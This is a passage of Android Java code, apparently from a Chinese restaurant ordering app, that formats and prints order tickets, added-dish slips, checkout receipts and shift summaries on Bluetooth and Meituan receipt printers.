mOrderMain, PrintUtils printUtils) { OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain); //ๅฐ†่ฎขๅ•่ฏฆๆƒ…ๆ›ฟๆขๆˆๅซๅฅ—้คๆ˜Ž็ป†็š„่ฏฆๆƒ… List<OrderDetail> printData = PackageDetailUtils.getShowDetails(orderMain.getOrderDetailModelList()); orderMain.setOrderDetailModelList(printData); List<OrderDetail> orderDetails = new ArrayList<>(); orderDetails.clear(); orderDetails.addAll(orderMain.getOrderDetailModelList()); boolean isChange = false;// ๆ˜ฏๅฆๆ›ดๆขๆกŒๅทๅ’Œ่ฎขๅ•ๅฐพๅทๆ‰“ๅฐ็š„ไฝ็ฝฎ if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue()) { isChange = true; } //ๆ‰“ๅฐ้ค้ฆ†ๅ String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ——้ฑผ็‚น้ค" : orderMain.getRestaurantName()); printUtils.selectCommand(PrintUtils.ALIGN_CENTER); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText(restaurantName); printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText("\n\nๅŠ ่œๅ•\n\n"); printUtils.selectCommand(PrintUtils.NORMAL); printUtils.selectCommand(PrintUtils.ALIGN_LEFT); String desk = ""; if (!TextUtils.isEmpty(orderMain.getMainDesk()) && !orderMain.getMainDesk().equals("null") && !orderMain.getMainDesk().equals("0")) { desk = "ๆกŒๅท: " + orderMain.getMainDesk(); } String userName = "ไธ‹ๅ•ๅ‘˜: " + orderMain.getCreaterName(); if (isChange) { printUtils.printText(PrintUtils.get().printTwoData(32, userName, "่ฎขๅ•ๅฐพๅท: " + orderMain.getTailNo()) + "\n"); } else { int totalLen = StringUtil.getLengthForInputStr(userName + desk);// ไธ‹ๅ•ๅ‘˜ ๅ’Œ ๆกŒๅท ็š„ๅญ—็ฌฆๆ€ป้•ฟๅบฆ if (totalLen > 30) { printUtils.printText(userName + "\n"); printUtils.printText(desk + "\n"); } else { printUtils.printText(PrintUtils.get().printTwoData(32, userName, desk) + "\n"); } } //ๅˆ†ๅ‰ฒ็บฟ String content = "--------------------------------\n"; printUtils.printText(content); String personNumber = ""; if (orderMain.getMainGuests() > 0) { personNumber = "็”จ้คไบบๆ•ฐ: " + orderMain.getMainGuests(); } if (isChange) { if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber)) { if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber)) { int totalLen = StringUtil.getLengthForInputStr(desk + personNumber); if (totalLen > 30) { printUtils.printText(desk + "\n"); printUtils.printText(personNumber + "\n"); } else { printUtils.printText(PrintUtils.get().printTwoData(32, desk, personNumber) + "\n"); } } } else if (TextUtils.isEmpty(desk) && TextUtils.isEmpty(personNumber)) { // ไธไฝœๅค„็†๏ผŒไธคไธช้ƒฝไธบ็ฉบๆญค่กŒไธๆ‰“ๅฐ } else { printUtils.printText(desk + personNumber + "\n"); } } else { printUtils.printText(PrintUtils.get().printTwoData(32, "่ฎขๅ•ๅฐพๅท: " + orderMain.getTailNo(), personNumber) + "\n"); } //ๆฒกๆœ‰ๆกŒๅท ไนŸๆฒกๆœ‰็”จ้คไบบๆ•ฐ ็›ดๆŽฅๆ‰“ๅฐ printUtils.printText("ไธ‹ๅ•ๆ—ถ้—ด: " + DateUtils.formatDateTime(orderMain.getCreateAt(), "yyyy/MM/dd HH:mm") + "\n"); if (orderMain.getMainStatus() == 2) { printUtils.printText("ไป˜ๆฌพๆ—ถ้—ด: " + DateUtils.formatDateTime(orderMain.getPayTime(), "yyyy/MM/dd HH:mm") + "\n"); } if (!TextUtils.isEmpty(orderMain.getPackageRemark())) { printUtils.printText("ๅฑžๆ€ง: " + orderMain.getMainRemark() + "\n"); } printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ printUtils.printText("ๅ“ๅ ๆ•ฐ้‡ ๆ€ปไปท\n"); // ๆ‰“ๅฐ่œๅ“ๅˆ—่กจ for (OrderDetail bean : orderDetails) { printXiaoFeiOrJieZhangDan(printUtils, bean, 1); // ๅŠ ่œๅ•ๆ•ดๅ•ๆ‰“ๅฐ๏ผŒไฝฟ็”จๅคงๅทๅญ—ไฝ“ๆ‰“ๅฐ่œๅ“ๅˆ—่กจ๏ผˆๅณไผ ๅ€ผmainStatusไธ็ญ‰ไบŽ2๏ผ‰ } printUtils.selectCommand(PrintUtils.NORMAL); printUtils.selectCommand(PrintUtils.ALIGN_LEFT); if (orderMain.getMainStatus() != 2) // ๆ‰“ๅฐๆถˆ่ดนๅ•็š„ ๅค‡ๆณจใ€่œๅ“ๆ•ฐ้‡ใ€ๅˆ่ฎก { printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ if (!TextUtils.isEmpty(orderMain.getMainRemark())) { printUtils.printText("่ฎขๅ•ๅค‡ๆณจ: " + orderMain.getMainRemark() + "\n"); } printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText("่œๅ“ๆ•ฐ้‡: " + orderMain.getFoodCountTotal() + "\n"); printUtils.printText("้‡‘้ขๅˆ่ฎก: " + dTs(orderMain.getOriginalMoney()) + "\n"); } printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText("\n\n\n\n\n\n"); } //ๅŠ ่œๅ•่œๅ“ๅˆ—่กจ private void printAddOrderFoodsForBlue(List<OrderDetail> orderDetailModelList, PrintUtils printUtils) { for (OrderDetail bean : orderDetailModelList) { printUtils.printText(printSingleFood(length_1, length_2, length_3, bean) + "\n"); } } /** * ่ฎขๅ•ๆ‰“ๅฐ -- ่“็‰™ๆ‰“ๅฐๆœบ * * @param activity * @param isShowDialog * @param orderMain ่ฎขๅ•่ฏฆๆƒ… * @param printTimes ๆ‰“ๅฐๆฌกๆ•ฐ */ @Override public void printOrder(Activity activity, boolean isShowDialog, OrderMain orderMain, int printTimes) { if (isShowDialog) { showDialog(activity); } printOrderOrAddOrder(orderMain, printTimes, 2); } /** ็พŽๅ›ขๆ‰“ๅฐ */ private void printOrderOrAddOrder(OrderMain orderMain, int printTimes, int orderOrAddOrder) { Observable.just("").subscribeOn(Schedulers.newThread()).flatMap(new Func1<String, Observable<Boolean>>() { @Override public Observable<Boolean> call(String s) { return Observable.just(BLE.get().init().connectDeviceByAddr()); } }).unsubscribeOn(Schedulers.newThread()).observeOn(AndroidSchedulers.mainThread()).subscribe(ss -> { if (ss) { try { OutputStream stream = BLE.get().mtBtSocket.getOutputStream(); // PrintUtils printUtils = new PrintUtils(); PrintUtils printUtils = PrintUtils.get(); printUtils.setOutputStream(stream); if (orderOrAddOrder == 2) // ๆ‰“ๅฐ { for (int i = 1; i <= printTimes; i++) { printOrderDataForBlue(orderMain, printUtils); } } else if (orderOrAddOrder == 1) { for (int i = 1; i <= printTimes; i++) { printAddOrderDataForBlue(orderMain, printUtils); } } } catch (Exception e) { e.printStackTrace(); } } else { } }); } // /** ่“็‰™ๆ‰“ๅฐๆœบๆ‰“ๅฐ่ฎขๅ• */ // public void printOrder(OrderMain orderMain, int printTimes, PrintUtils printUtils) // { // for (int i = 1; i <= printTimes; i++) // { // printOrderDataForBlue(orderMain, printUtils); // } // } /** * ๅˆๅนถ่ฎขๅ•ๆ‰“ๅฐ */ @Override public void printOrders(Activity activity, boolean isShowDialog, List<OrderMain> data) { L.e("ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•ๅˆๅนถ่ฎขๅ•"); if (isShowDialog) { showDialog(activity); } for (int i = 0; i < data.size(); i++) { printOrderOrAddOrder(data.get(i), 1, 2); } } /** * ่ฎขๅ•ๆ‰“ๅฐๆจกๆฟ */ private void printOrderDataForBlue(OrderMain mOrderMain, PrintUtils printUtils) { OrderMain orderMain = (OrderMain) CopyObjectUtil.copy(mOrderMain); //ๅฐ†่ฎขๅ•่ฏฆๆƒ…ๆ›ฟๆขๆˆๅซๅฅ—้คๆ˜Ž็ป†็š„่ฏฆๆƒ… List<OrderDetail> printData = PackageDetailUtils.getShowDetails(orderMain.getOrderDetailModelList()); orderMain.setOrderDetailModelList(printData); List<OrderDetail> orderDetails = new ArrayList<>(); orderDetails.clear(); orderDetails.addAll(orderMain.getOrderDetailModelList()); boolean isChange = false;// ๆ˜ฏๅฆๆ›ดๆขๆกŒๅทๅ’Œ่ฎขๅ•ๅฐพๅทๆ‰“ๅฐ็š„ไฝ็ฝฎ if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue()) { isChange = true; } //ๆ‰“ๅฐ้ค้ฆ†ๅ String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ——้ฑผ็‚น้ค" : orderMain.getRestaurantName()); printUtils.selectCommand(PrintUtils.ALIGN_CENTER); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText(restaurantName); printUtils.selectCommand(PrintUtils.NORMAL); if (orderMain.getMainStatus() == 2) { if (orderMain.getReverseNumber() == 0)// 0 ไธบๆญฃๅธธ่ฎขๅ•๏ผŒ1 ไธบๅ็ป“่ดฆ่ฎขๅ• { printUtils.printText("\n\n็ป“่ดฆๅ•\n\n"); } else { printUtils.printText("\n\n็ป“่ดฆๅ•๏ผˆๅ๏ผ‰\n\n"); } } else { if (orderMain.getReverseNumber() == 0)// 0 ไธบๆญฃๅธธ่ฎขๅ•๏ผŒ1 ไธบๅ็ป“่ดฆ่ฎขๅ• { printUtils.printText("\n\nๆถˆ่ดนๅ•\n\n"); } else { printUtils.printText("\n\nๆถˆ่ดนๅ•๏ผˆๅ๏ผ‰\n\n"); } } printUtils.selectCommand(PrintUtils.NORMAL); printUtils.selectCommand(PrintUtils.ALIGN_LEFT); String desk = ""; if (!TextUtils.isEmpty(orderMain.getMainDesk()) && !orderMain.getMainDesk().equals("null") && !orderMain.getMainDesk().equals("0")) { desk = "ๆกŒๅท: " + orderMain.getMainDesk(); } String userName; if (orderMain.getMainStatus() == 2) { userName = getStr(R.string.cashier_person) + ": " + orderMain.getCashierName(); } else { userName = getStr(R.string.confirm_man) + orderMain.getCreaterName(); } if (isChange) { printUtils.printText(PrintUtils.get().printTwoData(32, userName, "่ฎขๅ•ๅฐพๅท: " + orderMain.getTailNo()) + "\n"); } else { int totalLen = StringUtil.getLengthForInputStr(userName + desk);// ไธ‹ๅ•ๅ‘˜ ๅ’Œ ๆกŒๅท ็š„ๅญ—็ฌฆๆ€ป้•ฟๅบฆ if (totalLen > 30) { printUtils.printText(userName + "\n"); printUtils.printText(desk + "\n"); } else { printUtils.printText(PrintUtils.get().printTwoData(32, userName, desk) + "\n"); } } //ๅˆ†ๅ‰ฒ็บฟ String content = "--------------------------------\n"; printUtils.printText(content); String personNumber = ""; if (orderMain.getMainGuests() > 0) { personNumber = "็”จ้คไบบๆ•ฐ: " + orderMain.getMainGuests(); } if (isChange) { if (!TextUtils.isEmpty(desk) && !TextUtils.isEmpty(personNumber)) { int totalLen = StringUtil.getLengthForInputStr(desk + personNumber); if (totalLen > 30) { printUtils.printText(desk + "\n"); printUtils.printText(personNumber + "\n"); } else { printUtils.printText(PrintUtils.get().printTwoData(32, desk, personNumber) + "\n"); } } else if (TextUtils.isEmpty(desk) && TextUtils.isEmpty(personNumber)) { // ไธไฝœๅค„็†๏ผŒไธคไธช้ƒฝไธบ็ฉบๆญค่กŒไธๆ‰“ๅฐ } else { printUtils.printText(desk + personNumber + "\n"); } } else { printUtils.printText(PrintUtils.get().printTwoData(32, "่ฎขๅ•ๅฐพๅท: " + orderMain.getTailNo(), personNumber) + "\n"); } //ๆฒกๆœ‰ๆกŒๅท ไนŸๆฒกๆœ‰็”จ้คไบบๆ•ฐ ็›ดๆŽฅๆ‰“ๅฐ printUtils.printText("ไธ‹ๅ•ๆ—ถ้—ด: " + DateUtils.formatDateTime(orderMain.getCreateAt(), "yyyy/MM/dd HH:mm") + "\n"); if (orderMain.getMainStatus() == 2) { printUtils.printText("ไป˜ๆฌพๆ—ถ้—ด: " + DateUtils.formatDateTime(orderMain.getPayTime(), "yyyy/MM/dd HH:mm") + "\n"); } if (!TextUtils.isEmpty(orderMain.getPackageRemark())) { printUtils.printText("ๅฑžๆ€ง: " + orderMain.getMainRemark() + "\n"); } printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ printUtils.printText("ๅ“ๅ ๆ•ฐ้‡ ๆ€ปไปท\n"); printFoodsForBlue(orderDetails, printUtils, orderMain.getMainStatus());// ๆ‰“ๅฐ่œๅ“ๅˆ—่กจ printUtils.selectCommand(PrintUtils.NORMAL); printAddFoodsForBlue(orderDetails, printUtils, orderMain.getMainStatus());// ๆ‰“ๅฐๅŠ ่œๅˆ—่กจ printUtils.selectCommand(PrintUtils.NORMAL); printUtils.selectCommand(PrintUtils.ALIGN_LEFT); // ๆ‰“ๅฐ้คไฝ่ดน List<OrderDetail> details = createFeeForDetails(orderMain); if (!details.isEmpty()) { printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ for (OrderDetail detail : details) { String rightText = PrintUtils.get().printTwoData(13, NumberFormat.dTs3(detail.getDetailCount()), NumberFormat.dTs(detail.getTotalPrice())); printUtils.printText(PrintUtils.get().printTwoData(32, detail.getFoodName(), rightText) + "\n"); } } if (orderMain.getMainStatus() != 2) // ๆ‰“ๅฐๆถˆ่ดนๅ•็š„ ๅค‡ๆณจใ€่œๅ“ๆ•ฐ้‡ใ€ๅˆ่ฎก { printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ if (!TextUtils.isEmpty(orderMain.getMainRemark())) { printUtils.printText("่ฎขๅ•ๅค‡ๆณจ: " + orderMain.getMainRemark() + "\n"); } printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText("่œๅ“ๆ•ฐ้‡: " + orderMain.getFoodCountTotal() + "\n"); printUtils.printText("้‡‘้ขๅˆ่ฎก: " + dTs(orderMain.getOriginalMoney()) + "\n"); } else // ๆ‰“ๅฐ็ป“่ดฆๅ• { printUtils.selectCommand(PrintUtils.NORMAL); if (!TextUtils.isEmpty(orderMain.getMainRemark())) { printUtils.printText(content);//ๅˆ†ๅ‰ฒ็บฟ printUtils.printText("่ฎขๅ•ๅค‡ๆณจ: " + orderMain.getMainRemark() + "\n"); } // ๆ‰“ๅฐไผ˜ๆƒ ไฟกๆฏ if (orderMain.getDiscountsTotal() > 0) { printUtils.printText("------------ไผ˜ๆƒ ๆ˜Ž็ป†------------\n\n");//ๅˆ†ๅ‰ฒ็บฟ List<PreferentialDetail> detailList = orderMain.getPreferentialList(); if (null != detailList && detailList.size() > 0) { for (PreferentialDetail detail : detailList) { printUtils.printText(detail.getPreferentialName() + ": -๏ฟฅ" + dTs(detail.getPreferentialMoney()) + "\n"); } } } // ๆ‰“ๅฐ็ป“็ฎ—ๆ˜Ž็ป† printUtils.printText("------------็ป“็ฎ—ๆ˜Ž็ป†------------\n\n");//ๅˆ†ๅ‰ฒ็บฟ printUtils.printText("่œๅ“ๆ•ฐ้‡: " + orderMain.getFoodCountTotal() + "\n"); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText("้‡‘้ขๅˆ่ฎก: " + orderMain.getOriginalMoney() + "\n"); if (orderMain.getDiscountsTotal() > 0) { printUtils.printText("ไผ˜ๆƒ ๅˆ่ฎก: " + orderMain.getDiscountsTotal() + "\n"); } printUtils.printText("ๅฎžๆ”ถ้‡‘้ข: " + dTs(orderMain.getReceivedMoney()) + "\n"); printUtils.selectCommand(PrintUtils.NORMAL); if (!TextUtils.isEmpty(orderMain.getPayType()) && orderMain.getReverseNumber() <= 0) { printUtils.printText("ๆ”ฏไป˜ๆ–นๅผ: " + orderMain.getPayType() + "\n"); } List<PayWayBean> payWayDetail = orderMain.getPayWayDetail(); if (null != payWayDetail && payWayDetail.size() > 0) { for (PayWayBean detail : payWayDetail) { String payWay = detail.getPayWay() + ""; if (payWay.equals("็Žฐ้‡‘ๆ”ฏไป˜")) { payWay = "็Žฐ้‡‘ๆ”ถๆฌพ"; } printUtils.printText(payWay + ": " + dTs(detail.getPayMoney()) + "\n"); if (detail.getOddChange() > 0) { printUtils.printText("็Žฐ้‡‘ๆ‰พ้›ถ: " + dTs(detail.getOddChange()) + "\n"); } } printUtils.printText("\n");// ้š”ไธ€่กŒ } } printUtils.selectCommand(PrintUtils.NORMAL); String inscribed = Share.get().getPrintInscribed();//่ฝๆฌพ if (!TextUtils.isEmpty(inscribed)) { printUtils.printText("\n\n"); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText(inscribed + "\n"); } printUtils.selectCommand(PrintUtils.ALIGN_CENTER); if (!TextUtils.isEmpty(orderMain.getQrCodeStr())) { // printUtils.selectCommand(PrintUtils.ALIGN_CENTER); if (orderMain.getMainStatus() == 2) { printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText("\n" + getStr(R.string.sao_get_more_service2) + "\n"); printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText(getStr(R.string.record_parking_coupons) + "\n"); } else { printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText("\n" + getStr(R.string.sao_get_more_service) + "\n"); printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText(getStr(R.string.payment_service_coupons) + "\n"); } try { printUtils.qrCode(orderMain.getQrCodeStr()); printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText("ๆŠ€ๆœฏๆ”ฏๆŒbyๆ——้ฑผ็‚น้ค\n"); } catch (IOException e) { e.printStackTrace(); } } printUtils.selectCommand(PrintUtils.NORMAL); printUtils.printText("\n"); printUtils.printText("-------ๅˆ†ๅ‰ฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆ’•ๅผ€------\n"); printUtils.printText(" \n"); printUtils.printText(" \n"); printUtils.printText(" \n"); printUtils.printText(" \n"); } //ๆ‰“ๅฐ่œๅ“ๆ•ฐๆฎๆ˜Ž็ป† -- ่“็‰™ๆ‰“ๅฐๆœบ private void printFoodsForBlue(List<OrderDetail> orderDetails, PrintUtils printUtils, int mainStatus) { L.e("xxxxxxxxxxxxxxsize=" + orderDetails.size() + ""); for (OrderDetail orderDetail : orderDetails) { // mainStatus; //่ฎขๅ•็Šถๆ€(1=ๅˆๅง‹|2=ๆ”ฏไป˜ๆˆๅŠŸ|8=้คๅŽๆ”ฏไป˜ๅทฒ็กฎ่ฎค|9=้คๅŽๆ”ฏไป˜ๅทฒๅ–ๆถˆ) @mock=1๏ผˆ1 ใ€8 ใ€9ๆœชๆ”ฏไป˜ 2๏ผšๅทฒๆ”ฏไป˜๏ผ‰ // addState;//0ๆ™ฎ้€š 1ๅŠ ่œ 2้€€่œ // ๆ‰“ๅฐๆถˆ่ดนๅ• mainStatus!=2 // ๆ‰“ๅฐ็ป“่ดฆๅ• mainStatus==2 if (orderDetail.getAddState() == 0 || orderDetail.getAddState() == 2) { printXiaoFeiOrJieZhangDan(printUtils, orderDetail, mainStatus); } } } private void printXiaoFeiOrJieZhangDan(PrintUtils printUtils, OrderDetail orderDetail, int mainStatus) { //ๅˆคๆ–ญ่œๅ“ๆ˜ฏไธๆ˜ฏๅฅ—้ค็š„่ฏฆๆƒ…่œๅ“ boolean isPackageFood = false; if (orderDetail.getId() == 0 && !(orderDetail.getFoodName().equals(getStr(R.string.table_fee))) && !(orderDetail.getFoodName().equals(getStr(R.string .service_fee))) && !(orderDetail.getFoodName().equals(getStr(R.string.packaging_fee)))) { isPackageFood = true; } // ๆทปๅŠ ่œๅ String foodName = orderDetail.getFoodName(); String price = ""; if (isPackageFood) { price = getStr(R.string.package_detail_tip); } else { price = NumberFormat.dTs(orderDetail.getTotalPrice()); } // 1.ๅ…ˆๅˆคๆ–ญๆ˜ฏไธๆ˜ฏ็งฐ้‡่ฎก้‡๏ผŒๅฆ‚ๆžœๆ˜ฏ๏ผŒ่œๅ“ไธ€่กŒ๏ผŒๆ•ฐ้‡ๆ€ปไปทๅฆ่ตทไธ€่กŒ String count = ""; if (mainStatus == 2) // ็ป“่ดฆๅ• ---- ่œๅ“ๅˆ—่กจ้‡‡็”จๆญฃๅธธๅญ—ไฝ“ { printUtils.selectCommand(PrintUtils.NORMAL); if (orderDetail.getUnitType() == 2)//1=ๆ™ฎ้€š|2=็งฐ้‡่ฎก้‡|3=ไปฝ้‡) { count = NumberFormat.dTs(orderDetail.getDetailCount()) + orderDetail.getUnitName(); int totalLen = StringUtil.getLengthForInputStr(price + count); if (totalLen > 11 || StringUtil.getLengthForInputStr(foodName) > 19) { printUtils.printText(foodName + "\n"); String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, "", rightText) + "\n"); } else { String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n"); } } else // ๆ™ฎ้€š่œๅ“ { count = NumberFormat.dTs3(orderDetail.getDetailCount()); int totalLen = StringUtil.getLengthForInputStr(foodName + price + count); if (totalLen > 30 || StringUtil.getLengthForInputStr(foodName) > 19) { printUtils.printText(foodName + "\n"); String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(rightText + "\n"); } else { String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n"); } } } else // ๆถˆ่ดนๅ• ---- ่œๅ“ๅˆ—่กจ้‡‡็”จๅคงๅทๅญ—ไฝ“ { printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); if (orderDetail.getUnitType() == 2)//1=ๆ™ฎ้€š|2=็งฐ้‡่ฎก้‡|3=ไปฝ้‡) { count = NumberFormat.dTs(orderDetail.getDetailCount()) + orderDetail.getUnitName(); int totalLen = StringUtil.getLengthForInputStr(price + count); if (totalLen > 11 || StringUtil.getLengthForInputStr(foodName) > 19) { printUtils.printText(foodName + "\n"); String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, "", rightText) + "\n"); } else { String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n"); } } else // ๆ™ฎ้€š่œๅ“ { count = NumberFormat.dTs3(orderDetail.getDetailCount()); int totalLen = StringUtil.getLengthForInputStr(foodName + price + count); if (totalLen > 30 || StringUtil.getLengthForInputStr(foodName) > 19) { printUtils.printText(foodName + "\n"); String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(rightText + "\n"); } else { String rightText = PrintUtils.get().printTwoData(13, count, price); printUtils.printText(PrintUtils.get().printTwoData(32, foodName, rightText) + "\n"); } } } // ๆทปๅŠ ๅค‡ๆณจ String foodCategory = ""; printUtils.selectCommand(PrintUtils.NORMAL); if (isPackageFood) { if (orderDetail.getUnitName().equals("null")) { foodCategory = ""; } else { foodCategory = TextUtils.isEmpty(orderDetail.getUnitName()) ? "" : orderDetail.getUnitName() + " "; //็”จไบŽๅ–ๅฅ—้ค่œๅ“็š„็ฑปๅž‹ ๆ™ฎ้€šไธบ็ฉบ ไปฝ้‡่œไธบๅฏนๅบ”็š„ไปฝ้‡ } if (!TextUtils.isEmpty(orderDetail.getDetailRemark())) { foodCategory += orderDetail.getDetailRemark(); } } else { if (orderDetail.getAddState() == 2) { foodCategory = getStr(R.string.cancel_food); } else { // ๆทปๅŠ ๅˆ†้‡ if (!TextUtils.isEmpty(orderDetail.getFoodSpecName())) { foodCategory += orderDetail.getFoodSpecName(); } // ๆทปๅŠ ้…่œ if (!TextUtils.isEmpty(orderDetail.getFoodGarnishName())) { if (!TextUtils.isEmpty(foodCategory)) { foodCategory += ";"; } foodCategory += orderDetail.getFoodGarnishName(); } // ๆทปๅŠ ๅค‡ๆณจ๏ผˆๅšๆณ•๏ผ‰ if (!TextUtils.isEmpty(orderDetail.getFoodCategory())) { if (!TextUtils.isEmpty(foodCategory)) { foodCategory += ";"; } foodCategory += orderDetail.getFoodCategory(); } // ๆทปๅŠ ๅค‡ๆณจ๏ผˆ่œๅ“ๅค‡ๆณจ๏ผ‰ if (!TextUtils.isEmpty(orderDetail.getDetailRemark())) { if (!TextUtils.isEmpty(foodCategory)) { foodCategory += ";"; } foodCategory += orderDetail.getDetailRemark(); } // ๆทปๅŠ ๅค–ๅ–ๆˆ–่€…ๅค–ๅธฆ if (orderDetail.getFoodWay() == 2) { foodCategory += getStr(R.string.take_out); } else if (orderDetail.getFoodWay() == 3) { foodCategory += getStr(R.string.take_out_2); } } } if (!TextUtils.isEmpty(foodCategory.trim())) { // objs.add(createPrintFormat(8, "ใ€" + foodCategory + "ใ€‘")); printUtils.printText("ใ€" + foodCategory + "ใ€‘" + "\n"); } } //ๆ‰“ๅฐๅŠ ่œๆ•ฐๆฎๆ˜Ž็ป† -- ่“็‰™ๆ‰“ๅฐ private void printAddFoodsForBlue(List<OrderDetail> orderDetails, PrintUtils printUtils, int mainStatus) { boolean isPrint = false; for (OrderDetail orderDetail : orderDetails) { if (orderDetail.getAddState() != 1) { continue; } // ๅฆ‚ๆžœๆ˜ฏๅŠ ่œ if (!isPrint) { printUtils.printText("--------------ๅŠ ่œ-------------\n"); isPrint = true; } printXiaoFeiOrJieZhangDan(printUtils, orderDetail, mainStatus); } } /** * ๆฑ‡ๆ€ปๆ‰“ๅฐ * * @param activity * @param startTime ๅผ€ๅง‹ๆ—ถ้—ด * @param endTime ็ป“ๆŸๆ—ถ้—ด * @param orderSummaryData ๆฑ‡ๆ€ปๆ•ฐๆฎ * @param selectedWay ๆฑ‡ๆ€ปๅŒ…ๅซ็š„ๆ”ถ้“ถๆ–นๅผ (1=่‡ช็”ฑๆ”ถ้“ถ|2=ๅฎš้ขๆ”ถ้“ถ|3=่ฎขๅ•ๆ”ถ้“ถ)๏ผˆ้€—ๅท้š”ๅผ€๏ผ‰ๅˆคๆ–ญ้‡Œ้ขๆ˜ฏๅฆๅŒ…ๅซ1,2,3,ๆฅ่ฏ†ๅˆซๆ‰“ๅฐๅ†…ๅฎน */ @Override public void printCollect(Activity activity, Date startTime, Date endTime, OrderSummaryData orderSummaryData, String selectedWay) { showDialog(activity); JSONArray arr = new JSONArray(); try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName ("็ป่ฅๅฐ็ฅจ"))); //ๆ‰“ๅฐๅ‰ๅŠๅ†…ๅฎน String content = "-------------------------------"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ—้“บๅ็งฐ:" + Share.get().getRestaurantName())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆฑ‡ๆ€ปๆ—ฅๆœŸ:" + DateUtils.format(startTime, "yyyy/MM/dd" + " HH:mm"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "- " + DateUtils.format(endTime, "yyyy/MM/dd HH:mm"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅ…ฑ่ฎก : " + DateUtils.getDay(startTime, endTime))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); // ๆฑ‡ๆ€ป่ฎขๅ• compositeData(arr, selectedWay, orderSummaryData);//ๆ”ถ้“ถๆ˜Ž็ป†ๆ•ฐๆฎ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ—้•ฟ็กฎ่ฎค : " + "_________(็ญพๅญ—ๆˆ–็›–็ซ )")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆ‰“ๅฐๆ—ถ้—ด : " + DateUtils.format(new Date(), "yyyy/MM/dd HH:mm"))); for (int i = 0; i < 3; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "-------ๅˆ†ๅ‰ฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆ’•ๅผ€------")); for (int i = 0; i < 3; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); } Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } catch (JSONException e) { e.printStackTrace(); } } /** * ไบค็ญๆ‰“ๅฐ * * @param activity * @param startTime ๅผ€ๅง‹ๆ—ถ้—ด * @param endTime ็ป“ๆŸๆ—ถ้—ด * @param orderSummaryData ๆฑ‡ๆ€ปๆ•ฐๆฎ * @param selectedWay ๆฑ‡ๆ€ปๅŒ…ๅซ็š„ๆ”ถ้“ถๆ–นๅผ 